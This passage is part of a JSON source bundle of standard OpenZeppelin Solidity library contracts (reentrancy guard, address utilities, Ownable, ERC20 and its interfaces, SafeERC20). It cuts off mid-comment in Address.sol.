"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n // On the first call to nonReentrant, _notEntered will be true\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n\n _;\n\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * 